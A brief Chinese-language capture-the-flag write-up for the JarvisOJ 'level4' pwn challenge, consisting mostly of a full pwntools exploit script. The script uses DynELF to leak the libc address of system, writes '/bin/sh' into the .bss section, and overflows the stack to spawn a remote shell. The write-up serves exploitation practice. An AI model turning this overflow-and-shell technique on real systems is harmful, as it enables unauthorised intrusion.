题目地址
https://dn.jarvisoj.com/challengefiles/level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0
友情连接
https://www.anquanke.com/post/id/85129
掌握新技能利用pwntools的DynELF
思路 用DynELF获取system的地址,将‘/bin/sh’写入bss段中,然后溢出传参的方式获取shell
EXP如下
from pwn import * r=remote('pwn2.jarvisoj.com',9880) e=ELF('./level4') write_plt=e.symbols['write'] read_plt=e.symbols['read'] func=e.symbols['vulnerable_function'] bss_addr=0x804a024 def leak(address): payload1='a'*(0x88+0x4)+p32(write_plt)+p32(func)+p32(0x1)+p32(address)+p32(0x4) r.sendline(payload1) leak_address=r.recv(4) return leak_address d=DynELF(leak,elf=ELF('./level4')) sys_addr=d.lookup('system','libc') payload2='a'*(0x88+0x4)+p32(read_plt)+p32(func)+p32(0x0)+p32(bss_addr)+p32(0x8) r.sendline(payload2) r.sendline('/bin/sh') payload3='a'*(0x88+0x4)+p32(sys_addr)+'a'*0x4+p32(bss_addr) r.sendline(payload3) r.interactive()
read和write的传参顺序是(fd, addr, len) 即(文件描述符,入口地址,输入\输出长度)
其中文件描述符中0表示标准输入流stdin、1表示标准输出流stdout